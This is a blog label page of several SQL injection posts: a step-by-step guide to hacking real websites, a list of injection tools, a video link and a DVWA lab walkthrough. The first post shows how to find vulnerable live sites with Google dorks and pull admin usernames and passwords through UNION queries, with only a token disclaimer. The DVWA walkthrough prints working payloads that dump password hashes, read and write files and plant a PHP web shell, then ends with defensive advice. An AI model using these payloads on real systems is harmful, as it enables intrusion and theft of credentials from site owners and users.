IP

Showing posts with label SQL Injection. Show all posts
Showing posts with label SQL Injection. Show all posts

Wednesday, August 15, 2012

Hacking website using SQL Injection -step by step guid

Before we see what  SQL Injection is. We should know what SQL and Database are.

Database:

Database is collection of data. In website point of view, database is used for storing user ids,passwords,web page details and more.



Some List of Database are:


* DB servers,

* MySQL(Open source),
* MSSQL,
* MS-ACCESS,
* Oracle,
* Postgre SQL(open source),
* SQLite,



SQL:

Structured Query Language is Known as SQL. In order to communicate with the Database ,we are using SQL query. We are querying the database so it is called as Query language.

Definition from Complete reference:


SQL is a tool for organizing, managing, and retrieving data stored by a computer
database. The name "SQL" is an abbreviation for Structured Query Language. For
historical reasons, SQL is usually pronounced "sequel," but the alternate pronunciation
"S.Q.L." is also used. As the name implies, SQL is a computer language that you use to
interact with a database. In fact, SQL works with one specific type of database, called a
relational database
.

Simple Basic Queries for SQL:

Select * from table_name :

this statement is used for showing the content of tables including column name.
For eg:
select * from users;

Insert into table_name(column_names,...) values(corresponding values for columns):

For inserting data to table.
For eg:
insert into users(username,userid) values("BreakTheSec","break");

I will give more detail and query in my next thread about the SQL QUERY.


What is SQL Injection?

SQL injection is Common and famous method of hacking at present . Using this method an unauthorized person can access the database of the website. Attacker can get all details from the Database.

What an attacker can do?


*
ByPassing Logins
* Accessing secret data
* Modifying contents of website
* Shutting down the My SQL server

Now let's dive into the real procedure for the SQL Injection.

Follow my steps.

Step 1: Finding Vulnerable Website:

Our best partner for SQL injection is Google. We can find the Vulnerable websites(hackable websites) using Google Dork list. google dork is searching for vulnerable websites using the google searching tricks. There is lot of tricks to search in google. But we are going to use "inurl:" command for finding the vulnerable websites.

Some Examples:

inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=

Here is the huge list of Google Dork

http://www.ziddu.com/download/13161874/A...t.zip.html


How to use?

copy one
of the above command and paste in the google search engine box.
Hit enter.
You can get list of web sites.
We have to visit the websites one by one for checking the vulnerability.
So Start from the first website.


Note:if you like to hack particular website,then try this:

site:www.victimsite.com dork_list_commands
for eg:

site:www.victimsite.com inurl:index.php?id=
 Step 2: Checking the Vulnerability:
Now we should check the vulnerability of websites. In order to check the vulnerability ,add the single quotes(') at the end of the url and hit enter. (No space between the number and single quotes)

For eg:


http://www.victimsite.com/index.php?id=2'
 If the page remains in same page or showing that page not found or showing some other webpages. Then it is not vulnerable.

If it showing any errors which is related to sql query,then it is vulnerable. Cheers..!!

For eg:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Step 3: Finding Number of columns:

Now we have found the website is vulnerable. Next step is to find the number of columns in the table.
For that replace the single quotes(') with "order by n" statement.(leave one space between number and order by n statement)

Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".


For eg:


http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2

http://www.victimsite.com/index.php?id=2 order by 3

http://www.victimsite.com/index.php?id=2 order by 4
 change the number until you get the error as "unknown column"

if you get the error while trying the "x"th number,then no of column is "x-1".


I mean:


http://www.victimsite.com/index.php?id=2 order by 1(noerror)
http://www.victimsite.com/index.php?id=2 order by 2(noerror)
http://www.victimsite.com/index.php?id=2 order by 3(noerror)
http://www.victimsite.com/index.php?id=2 order by 4(noerror)
http://www.victimsite.com/index.php?id=2 order by 5(noerror)
http://www.victimsite.com/index.php?id=2 order by 6(noerror)
http://www.victimsite.com/index.php?id=2 order by 7(noerror)
http://www.victimsite.com/index.php?id=2 order by 8(error)

 
 so now x=8 , The number of column is x-1 i.e, 7.

Sometime the above may not work. At the time add the "--" at the end of the statement.

For eg:

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4: Displaying the Vulnerable columns:

Using "union select columns_sequence" we can find the vulnerable part of the table. Replace the "order by n" with this statement. And change the id value to negative(i mean id=-2,must change,but in some website may work without changing).

Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).


For eg:

if the number of columns is 7 ,then the query is as follow:


http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--


It will show some numbers in the page(it must be less than 'x' value, i mean less than or equl to number of columns).


Like this:




Now select 1 number.
It showing 3,7. Let's take the Number 3.

Step 5: Finding version,database,user

Now replace the 3 from the query with "version()"

For eg:


http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--


It will show the version as 5.0.1 or 4.3. something like this.


Replace the version() with database() and user() for finding the database,user respectively.


For eg:


http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--


http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working,then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--



Step 6: Finding the Table Name

 if the version is 5 or above. Then follow these steps.  Now we have to find the table name of the database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"

For eg:



http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--
 Now it will show the list of table names. Find the table name which is related with the admin or user.




Now select the "admin " table.


if the version is 4 or some others, you have to guess the table names. (user, tbluser).  It is hard and bore to do sql inection with version 4.


Step 7: Finding the Column Name


Now replace the "group_concat(table_name) with the "group_concat(column_name)"


Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--


Now listen carefully ,we have to find convert the table name to MySql CHAR() string and replace mysqlchar with that .


Find MysqlChar() for Tablename:

First of all install the HackBar addon:
https://addons.mozilla.org/en-US/firefox/addon/3899/

Now
select sql->Mysql->MysqlChar()

This will open the small window ,enter the table name which you found. i am going to use the admin table name.

click ok

Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.



Copy and paste the code at the end of the url instead of the "mysqlchar"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

Now it will show the list of columns.
like admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas ​ s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..


Now replace the replace group_concat(column_name) with group_concat(
columnname,0x3a,anothercolumnname).

Columnname should be replaced from the listed column name.

anothercolumnname should be replace from the listed column name.


Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"


For eg:


http://www.victimsite.com/index.php?id=-2
and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

Sometime it will show the column is not found.
Then try another column names

Now it will Username and passwords.


Enjoy..!!cheers..!!


If the website has members then jock-bot for you. You will have the list of usernames and password.

Some time you may have the email ids also,enjoy you got the Dock which can produce the golden eggs.

Step 8: Finding the Admin Panel:

Just try with url like:

http://www.victimsite.com/admin.php
http://www.victimsite.com/admin/
http://www.victimsite.com/admin.html
http://www.victimsite.com:2082/
etc.
If you have luck ,you will find the admin page using above urls. or try this list .
Here is the list of admin urls:

http://www.ziddu.com/download/13163866/A...t.zip.html


Note:

This is just for educational purpose only. Discussing or Reading about thief technique is not crime but implementing is CRIME

Thursday, August 4, 2011

Blind SQL injection with Burp Suite and home made payloads


Please find bellow a small tutorial explaining how to perform Blind SQL Injection detection with the Intruder module of Burp Suite.

The tutorial provides some good SQL payloads.

http://funoverip.net/2010/12/blind-sql-injection-detection-with-burp-suite/

Hope you will enjoy.

Monday, August 1, 2011

SQL Injection Scanners List !

sqlmap ( http://sqlmap.sourceforge.net/ )
Full support: MySQL, Oracle, PostgreSQL and Microsoft SQL Server.
Partial support for: Microsoft Access, DB2, Informix, Sybase and Interbase.

Safe3 SQL Injector ( http://sourceforge.net/projects/safe3si/files/ )
Full support: MySQL, Oracle, PostgreSQL, MSSQL, ACESS, DB2, Sybase, Sqlite.

SQL Power Injector ( http://www.sqlpowerinjector.com/ )
Supports: Microsoft SQL Server, Oracle, MySQL, Sybase / Adaptive Server and DB2.

Absinthe ( http://www.0x90.org/releases/absinthe/index.php )
Supports: Microsoft SQL Server, MSDE, Oracle, and Postgres.

bsqlbf-v2 ( http://code.google.com/p/bsqlbf-v2/ )
Supports: MySQL, Oracle, PostgreSQL and Microsoft SQL Server.

Marathon Tool ( http://www.codeplex.com/marathontool )
Supports: MySQL, Oracle, Microsoft SQL Server and Microsoft Access.

Havij ( http://itsecteam.com/en/projects.htm )
Supports: MySQL, Oracle, Microsoft SQL Server and Microsoft Access.

pysqlin ( http://code.google.com/p/pysqlin/source/checkout )
Implemented: Oracle, MySQL and Microsoft SQL Server.

BSQL Hacker ( http://labs.portcullis.co.uk/application/bsql-hacker/ )
Implemented: Oracle and Microsoft SQL Server.
Available experimental support for MySQL.

WITOOL ( http://witool.sourceforge.net/ )
Implemented: Oracle and Microsoft SQL Server.

Sqlninja ( http://sqlninja.sourceforge.net/ )
Supports only Microsoft SQL Server.

sqlus ( http://sqlsus.sourceforge.net/ )
Supports only MySQL.

DarkMySQLi16.py ( http://vmw4r3.blogspot.com/ )
Supports only MySQL.

mySQLenum ( http://sourceforge.net/projects/mysqlenum/ )
Supports only MySQL.

PRIAMOS ( http://www.priamos-project.com/ )
Supports only Microsoft SQL Server.

SFX-SQLi ( http://www.kachakil.com/ )
Supports only Microsoft SQL Server.

DarkMySQL ( http://vmw4r3.blogspot.com/ )
Supports only MySQL.

ProMSiD Premium ( http://forum.web-defence.ru/showpost.php?p=12402&postcount=15 )
Supports only MySQL.

yInjector ( http://y-osirys.com/softwares/s-softwares/id10 )
Supports only MySQL.

Bobcat SQL Injection Tool ( http://www.northern-monkee.co.uk/pub/bobcat.html )


WebRaider ( http://code.google.com/p/webraider/ )
Supports only Microsoft SQL Server.
Designed to execute commands on the server (reverse shell).

Pangolin ( http://www.nosec.org/2009/0920/74.html )
Pangolin distributed on a commercial basis, but is also available in a free version with limited functionality.
Implemented: Oracle, Microsoft SQL Server 2000/2005, Sybase, Access, Mysql, DB2 and Informix.

Toolza 1.0 (SQL injection supported DB: Mysql, Mssql, Sybase, Postgresql, Access, Oracle, Firebird / Interbase): http://bug-track.ru/prog/toolza1.0.rar

Online SQLi Scanners

Sunday, July 31, 2011

VIDEO: SQL Injection tutorial


SQL Injection is perhaps one of the most common application layer attack techniques used today, mainly used by malicious users to steal data from organizations. It is a type of attack that takes advantage of improper coding of your web applications that allows a malicious user to inject SQL commands into a form on your website, to allow them to gain access to the data held within your database.
In this video tutorial we will demonstrate what is an SQL injection vulnerability, how a malicious user exploits an SQL Injection to steal credit card numbers and other customer data from your website and also how to fix SQL Injection vulnerabilities using practical examples.
In this step by step guide we will also show you how to perform an effective SQL Injection scan withAcunetix Web Vulnerability Scanner, and explain in technical detail what is happening behind the scenes while exploiting an SQL Injection attack against a test website.



Saturday, December 25, 2010

DVWA v1.0.7




The goal of this paper is to help explain and demonstrate some of the dangers of SQL injection.  It is in no way complete, and it is far from comprehensive.


I have always believed that the best way to learn is to do.  For this reason, I have tried to provide the reader a reference to use when practicing SQL injection.  You are highly encouraged to follow along and try the following examples as you read.  


For the rest of this tutorial we will use Damn Vulnerable Web App (DVWA) as our practice grounds.  The sources listed at the end of this paper contains both a link to the DVWA download, and to the official install instructions. Do not install DVWA in a production environment.  It could cause your host to be compromised (by the techniques listed below, among others).  


I have used the XAMPP server package (Apache with MySQL) in a Windows environment for this walk through.  This can be done with other web servers, or OS types, but some of the injections will need to be tailored accordingly.


Injection Intro:
The following definition has been borrowed from Wikipedia:  SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed ... SQL injection attacks are also known as SQL insertion attacks.


Rephrased, this means that we may be able to use special input to trick the SQL server to do what we want it to do.  


Formatting:The following injections can be split into three parts.  For the sake of simplicity we will call these three parts the injection prefix, expression, and suffix. 


For the remainder of this paper I will refer to these three parts, when placed together, as the injection phrase.  – it is what you will insert into the text box.  The whole query (the original SQL query plus our injection phrase) will be referred to as the SQL injection query.  I have shown the whole query, so that you can better understand what the SQL server is processing after we insert the injection phrase.  


The “injection prefix” is a modification of an expected query that attempts to break us free of the expected input and place the rest of our input directly into the SQL query. 


The “injection expression” contains the specific query used to gain information or execute code.  
The “injection suffix” will attempt to manage the formatting of the query to prevent unwanted syntax errors.  This is usually done by commenting out the rest of the query.  This task can also be accomplished by creating proper SQL syntax.


SQL INJECTION WALKTHROUGH WITH DVWA


Once you have XAMPP running correctly.  Simply place the DVWA folder into your server's root web directory (In a test environment only!). In this tutorial, DVWA will be located at  


\xampp\htdocs\dvwa.  


Add the database login name and password to the DVWA configuration file located 


at  ...\dvwa\config\config.inc.php. 


 With any web browser, go to 


http://127.0.0.1/dvwa


You will be prompt to “setup the database”.  Click the noted link.  If all goes well DVWA should note that setup was successful.  Click on the “DVWA Security” tab.  You will be prompted to insert a username and password.


Log in with admin as the username and password as the password (They don't call it DVWA for nothing).  Set the security to low, and click submit.  Click on the “SQL Injection” tab...we are now ready to go.Although you can attack the server from the server (127.0.0.1 - localhost), If you want to use another computer to attack this vulnerable host, you will need to modify ...\dvwa\.ht  access to include your network address.  This helps prevent DVWA from being abused from outsiders.


Insert the text from the following examples noted in red into the User ID box, and then click Submit to see what happens.


Check expected results:
• SELECT first_name, last_name FROM users WHERE user_id = '1'"
Results: ID: 1
First name: admin
Surname: admin


Note that we could cycle through each user to find out who, and how many there are.  Something like this is an obvious information disclosure vulnerability.


Check for handling of quotes:


• SELECT first_name, last_name FROM users WHERE user_id = 'O'Malley' o We will use something that looks benign to check for quote handling errors 


Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Malley'' at line 1 o We can see that everything after the single quote is being treated as a SQL request.


Check the results of an OR True statement – First Try:


• SELECT first_name, last_name FROM users WHERE user_id = ' a' OR 1=1;--'"


Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '--'' at line 1


o The -– didn’t work as hoped.  Ideally (for the attacker) this will cause the entire following query to be treated as a comment.  Note the extra single quote at the end of the returned error.  It must be expecting the single quote from user_id=’ to be closed.  Let’s try something else…


Check the results of an OR True statement – Second Try:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR ''=''"
Result: ID: a' OR ''='
First name: admin
Surname: admin
ID: a' OR ''='
First name: Gordon
Surname: Brown
ID: a' OR ''='
First name: Hack
Surname: Me
ID: a' OR ''='
First name: Pablo
Surname: Picasso
ID: a' OR ''='
First name: bob
Surname: smith


For a lookup like this, one would only expect the first response to be displayed.  If you look at the DVWA source code (Click the View Source tab in DVWA), you can see that a loop is created to cycle through each returned row.  This is a bad idea because the expected input should have an expected output of only one result – Why they code this page to display more than one result is beyond be.  I guess that’s why they call it DVWA.


o Note how we used AND ‘’=’ at the end of our injection. This takes care of the final single quote by making a statement that is always true ‘’=’’ 


• SELECT first_name, last_name FROM users WHERE user_id ='a' OR 'x'='x';#'"


 Here is an alternative injection string that will work.  It seems that an injection suffix of ;# will comment out the following SQL, thus creating proper syntax within the SQL phrase.  We will use this for our suffix for most of the following injection strings.


Find the number of returned columns:
• SELECT first_name, last_name FROM users WHERE user_id = 'a' ORDER BY 1;#'"


Result: Nothing….this means that there is at least one column returned from the original SELECT statement.


• SELECT first_name, last_name FROM users WHERE user_id = 'a' ORDER BY 2;#'"


Result: Nothing…this means that there are at least two columns returned from the original SELECT statement.


• SELECT first_name, last_name FROM users WHERE user_id = 'a' ORDER BY 3;#'"


Result: Unknown column '3' in 'order clause' 


 This means that there are only two columns returned by the original SELECT statement (In this case, first_name and last_name – We don't usually get to see the text in blue.  We can
use these injection phrases to gain more information about the original SQL query's structure.) If we use UNION to return other results, we will need to make sure that the number of columns is
equal in both the original SQL query and our Injected UNION Phrase.


Find field names – First Try:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR firstname IS NULL;#'"


Result: Unknown column 'firstname' in 'where clause' o This is good….we now know that there is not a column named firstname.  Let’s take a few more guesses…


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR firstname = ''=''"


This is an alternate way to do this.  It should also work…there should still be an error if the column does not exist.


Find field names – Second Try:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name IS  NULL;#'"


Result: Nothing  …This is good.  That means there are no errors, thus there is a field named first_name.  Nothing is actually returned because first_name is not NULL, IE…it has something in it.


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name = ''=''"


The alternate will not error out if the column name is correct, but unlike above, this should print the expected results for the first row (because of the loop noted above, it will actually display all rows).


Try a few other fields….not all of these will work, but give them a try and see what happens:
 user_id
 lastname
 last_name
 image
 links
 link
 avatar
 pass 
 password
 user
Finding user names - LIKE:


Let’s say that the page is a bit more secure and will only list one result at a time.  If we need to know a username (and we can’t just insert a sequential number), how do we get more names?  With LIKE or course. (Here we will assume that first_name is what we are trying to find).


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name LIKE '%P%';#'"


Using this same technique, it may be possible to find the value of other fields (passwords,
email addresses…etc)?


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR first_name='Pablo' AND password LIKE '%a%';#'"


Finding the table name - Take a guess:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR test.user_id IS NOT NULL;#’”


Result: Unknown column 'test.user_id' in 'where clause' 


We are using the tablename.columnname format to help guess the table name.  We must use a known column name (see Find Field Names) for this to work properly.  If we guess an incorrect table name we will get an error.  If, however, we guessed the correct table name,the query should not have an error.


 Try a table name of users


• SELECT first_name, last_name FROM users WHERE user_id =1' AND 1=(SELECT COUNT(*) FROM tablenames);#'";


This is an alternative way to brute force a table name.  This will help us find any table name in the database.  We can use the above method to help determine if any table that is found is the one we are currently working with.


Find the database name – LIKE:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' OR database() LIKE '%A%';#"


 The database() function will help us find the database name.  We can use the LIKE clause to help determine the name.  The '%' is the wildcard character. Means 0 or more characters of any value, so %A% checks to see if the database name contains the letter A. '_' represents
any single character, so you can determine the length of the table name by incrementing the amount of _’s until you get a response.  Try the following:


 a’ OR database() LIKE '__';#
 a’ OR database() LIKE '____’;#
 a' OR database() LIKE '%W%';#
 a' OR database() LIKE 'D%';#
 a' OR database() LIKE 'D%';#
 a' OR database() LIKE '%Z%';#
 a' OR database() LIKE '_v_A';#


Find the table names - LIKE:


• SELECT first_name, last_name FROM users WHERE user_id ='a' UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema LIKE '%dv%'"


SQL-92 Standardization (ISO 9075) includes the information_schema database.  This holds information on other databases, tables, users,etc…. Information_schema.tables, is a list of database names (table_schema) and table names (table_name). Fortunately for us, we
can request both of these at once because the original query also requested two columns.  By manipulating the WHERE table_name LIKE phrase, we can find the names of various tables. This is not necessary


for this exercise because…


• SELECT first_name, last_name FROM users WHERE user_id ='a' UNION SELECT table_schema, table_name FROM information_schema.tables;#'"


 The loop will display all of the returned rows – not just the first one.  By omitting the  HERE/LIKE portion, we are able to see all of the results.


Find the current SQL Version


• SELECT first_name, last_name FROM users WHERE user_id = 'a' UNION ALL
SELECT 1, @@version;#'"


Result: ID: a' UNION ALL SELECT 1, @@version;#
First name: 1
Surname: 5.1.41
Here we can see that the current version number is 5.1.41.
Find the current database user:


• SELECT first_name, last_name FROM users WHERE user_id = 'a' UNION ALL
SELECT system_user(),user();#'"


Result: ID: a' UNION ALL SELECT 1, user();#
First name: root@localhost
Surname: root@localhost
List Password Hashes:


• SELECT first_name, last_name FROM users WHERE user_id ='1' UNION ALL
SELECT user, password FROM mysql.user; -- priv;#'"


This will hopefully display a password hash that can then be cracked with John the Ripper or other password crackers.  This could be usefully for many things.  If this works, check to see if they have a database management program such as PHPmyAdmin – log in with what you
found (and cracked).


Reading arbitrary files:
• SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT load_file('C:\\xampp\\htdocs\\dvwa\\.htaccess'), '1'"


This should show us the .htaccess file.  We could of course, read any file that the SQL server has read rights to.  You could check for htpasswd, or some other file that contains sensitive information.  PHP. files that access a SQL database will often have the database password
(likely in plain text) listed in the file.  SQL injection will allow us to view the .php file without the php first being interpreted by the server.


• SELECT first_name, last_name FROM users WHERE user_id = ' ' UNION ALL
SELECT load_file('C:\\xampp\\htdocs\\dvwa\\config\\config.inc.php'), '1'"


o This works without error, but there is nothing printed to the screen.  If you view the page source however, you should find something interesting.


Writing arbitrary files:


• SELECT first_name, last_name FROM users WHERE user_id = ''UNION
SELECT 'test', '123' INTO OUTFILE 'testing1.txt'"


The command will likely return a few warnings – look closely, these could contain file paths that give us an idea of the web root location on the server…If all goes well, you should see a file named testing1.txt in the SQL data path. (If you are using Xampp on Windows, it should be
something like C:\xampp\mysql\data\dvwa\testing1.txt).  Let's try to write a file accessible to the web.


• SELECT first_name, last_name FROM users WHERE user_id = ''UNION
SELECT 'test', '123' INTO OUTFILE 'c:\\xampp\\htdocs\\testing2.txt'"


Now, point your web browser to "http://[web root]/testing2.txt".  What do you see…..it's our OUTFILE! This means that the attacker has the ability to change existing web pages via SQL injection.  This means, you can add your own pages to the site.  It may also mean that we can
execute remote code…


Remote Code execution:


• SELECT first_name, last_name FROM users WHERE user_id = '' UNION  SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:\\xampp\\htdocs\\dvwa\\shell.php';#'"


 Now point your browser to http://[web root]/dvwa/shell.php?cmd=dir. Game over! We have just run a command on the remote server.  From here we could download and run files (backdoor, keylogger, etc…), change system settings, add system users, etc… o Note that if you try and change the directory, it will not remember the next time you run the command.  Each time it is a new process.  To find out what directory your are in, use the remote shell to execute the command 'echo %25CD%25 '


Getting around escaped characters:


• So far we have been using DVWA on the low security setting.  Click on the "DVWA Security" tab on the left side of the DVWA webpage.  Change the settings to medium and click Submit.  Go back to "SQL Injeciton" and try an injection phrase that checks for the handling of quotes.
• SELECT first_name, last_name FROM users WHERE user_id = ' O'Malley'" o Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'Malley' at line 1


Note that there is now a \ in front of our single quote.  In SQL a \ will cause certain characters be taken literally.  Instead of interpreting the single quote as an escape from "user_id='", it is interpreted as text.


• SELECT first_name, last_name FROM users WHERE user_id = ' 1 OR 1=1'"


o As we can see, if we avoid certain characters, we can still trick the server into running our injection phrase.  Play around with the previously mentioned injection phrases – but first remove any quotes. Many of the above injection phrases will still work without quotes.


Protect Yourself from SQL Injection:
Hopefully this walkthrough has shown how important it is to protect your site against SQL injection. NEVER take user input and place it directly into a SQL query. Always sanitize user input. Watch for characters like ‘,”,_,%,\x00,\n,\r,\, and \x1a. If possible create a whitelist of what characters are acceptable, and don’t make it contain any more than you need. Limit user input by length (and make sure the user can’t send data greater than expected by modifying the form’s HTML). If only one result is to be expected – return only one result. If you are using PHP and MySQL, it is often best to assign the input to a variable, and then pass it through the
stripslashes() and then the mysql_real_escape_string()function. Once this is done,


SQL injection will much more difficult – for a query like we were working with, it should become impossible. Avoid displaying server errors when possible. Always make sure to use a least-privileged database account. Test…test….test. There are many automated SQL Injection tools. I recommend using these tools to test your code. Having a professional code audit is never a bad idea either.


Sources
To give credit where it is due – The following sites were referenced while creating this walkthrough.  I would highly recommend checking them out:


•   http://www.apachefriends.org/en/xampp.html – The XAMPP site
• http://sourceforge.net/projects/dvwa/ - Download location for DVWA
• http://www.youtube.com/watch?v=GzIj07jt8rM – The official DVWA install
video, showing how to install DVWA with XAMPP.
• http://en.wikipedia.org/wiki/SQL_Injection
• http://unixwiz.net/techtips/sql-injection.html
• http://sqlzoo.net/hack/24table.htm
• http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
• http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/
• http://www.greensql.net/publications/backdoor-webserver-using-mysql-sqlinjection
• http://w3schools.com/sql/default.asp




Download
DVWA v1.0.7 (latest) - (1.3MB) MD5:c29b089e83d1026b98ce6a97d0e11e50 Download
DVWA v1.0.7 LiveCD - (480MB) MD5:9484d8e2154d4e01fbd742cd7c10affd Download 


Video Tutorial